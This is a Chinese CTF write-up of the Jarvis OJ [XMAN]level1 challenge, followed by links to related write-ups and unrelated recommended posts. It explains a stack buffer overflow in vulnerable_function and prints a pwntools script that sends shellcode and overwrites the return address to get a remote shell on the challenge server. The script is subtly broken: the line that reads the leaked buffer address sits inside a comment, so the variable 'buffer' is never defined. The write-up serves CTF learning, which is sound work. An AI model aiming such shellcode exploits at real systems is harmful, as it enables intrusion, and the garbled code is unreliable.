首先

老规矩,把软件拖到Ubuntu里checksec一下文件

然后知道了软件位数就放到IDA32里面。。。

熟悉的函数名。。。

缘真的妙不可言。。。

然后看了下vulnerable_function函数的栈结构

算了下

vulnerable_function中的read函数准备给buf 0x100的空间

但是buf却用了0x88+0x4就结束了vulnerable_function函数。。

(0x88 + 0x4)<(0x100)

所以这里出现了栈溢出

但是,我F12+Shift一下却没发现有getshell的函数。。。

别慌,问题不大。。

自己构造shellcode

当然用万能的pwntools啦。。

不可能手工pwn的,这辈子都不可能。

漏洞利用

把shellcode填到以buf为起始地址的缓冲区里,并控制vulnerable_function返回到shellcode

利用代码:

from pwn import *

context(log_level = 'debug', arch = 'i386', os = 'linux')

shellcode = asm(shellcraft.sh()) #shellcraft 提供了很多现成shellcode,当然要翻译成asm格式的
io = remote("pwn2.jarvisoj.com",9877) #要攻击的目标机 buffer = io.recvline()[14:-2]
buf_addr = int(buffer,16)
payload = shellcode + '\x90'*(0x88+0x4-len(shellcode)) + p32(buf_addr) #p32是打包数据库
io.send(payload)
io.interactive()
io.close()

最后

pwntools的简单入门可以百度pwntools,看下别人整理的笔记。

Jarvis OJ [XMAN]level1 write up的更多相关文章

  1. Jarvis OJ - [XMAN]level1 - Writeup

    Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...

  2. Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

    100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...

  3. Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试

    这次除了elf程序还附带一个动态链接库 先看一下,很一般的保护 思路分析 在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数 但是用ida打开附带的链接库,可以看 ...

  4. Jarvis OJ - [XMAN]level2 - Writeup

    简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到syst ...

  5. Jarvis OJ - [XMAN]level0 - Writeup

    差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼 分析一下,checksec 查看程序的各种保护机制 没有金丝雀,没有pie 执行时输出Hello,World,在进行输入,溢出嘛  开工 丢到id ...

  6. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  7. Jarvis OJ - class10 -Writeup

    Jarvis OJ - class10 -Writeup 转载请注明出处:http://www.cnblogs.com/WangAoBo/p/7552266.html 题目: Jarivs OJ的一道 ...

  8. Jarvis OJ - 软件密码破解-1 -Writeup

    Jarvis OJ - 软件密码破解-1 -Writeup 转载请标明出处http://www.cnblogs.com/WangAoBo/p/7243801.html 记录这道题主要是想记录一下动态调 ...

  9. Jarvis OJ - DD-Hello -Writeup

    Jarvis OJ - DD-Hello -Writeup 转载请注明出处http://www.cnblogs.com/WangAoBo/p/7239216.html 题目: 分析: 第一次做这道题时 ...

随机推荐

  1. vue-cli 上传图片上传到OSS(阿里云)

    https://help.aliyun.com/document_detail/32068.html?spm=5176.doc32069.6.304.Qc4SUs(看) https://help.al ...

  2. js的日期操作:String转date日期格式、求日期差

    一.在js中String类型转成date格式 var date = new Date("2018-9-21 14:58:43");//就是这么简单 二.date转String类型就 ...

  3. 转《vue引入第三方js库》

    一.绝对路径直接引入,全局可用 二.绝对路径直接引入,配置后,import 引入后再使用 三.webpack中配置 alias,import 引入后再使用 四.webpack 中配置 plugins, ...

  4. java 中的打印流

    package cn.zhou; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.F ...

  5. SELECT IDENT_CURRENT(tableName)和自增长列的纠结

    项目中要用到一个功能:主表主键为自增长,要求在插入主表数据前先获得主表要插入数据的主键ID值,用在插入子表时获取主键ID.在网上搜了一下,发现SELECT IDENT_CURRENT(TableNam ...

  6. hdu-2072(字典树)

    字典树模板题 代码 #include<iostream> #include<algorithm> #include<cstdio> #include<cstr ...

  7. Spring 使用介绍(八)—— 零配置(一)

    一.概述 所谓零配置,并不是说一点配置都没有了,而是配置很少而已.通过约定来减少需要配置的数量,提高开发效率. 零配置实现主要有以下两种方式: 惯例优先原则:也称为约定大于配置(convention ...

  8. 解决Error:com.intellij.util.indexing.StorageException

    删除 C:\Users\Nihaorz\.IntelliJIdea2017.1\system\compile-server 目录下的所有内容即可

  9. $.ajax ,ajax请求添加请求头,添加Authorization字段

    beforeSend : function(request) { request.setRequestHeader("Authorization", sessionStorage. ...

  10. Python入门-编写抓取网站图片的爬虫-正则表达式

    //生命太短 我用Python! //Python真是让一直用c++的村里孩子长知识了! 这个仅仅是一个测试,成功抓取了某网站1000多张图片. 下一步要做一个大新闻 大工程 #config = ut ...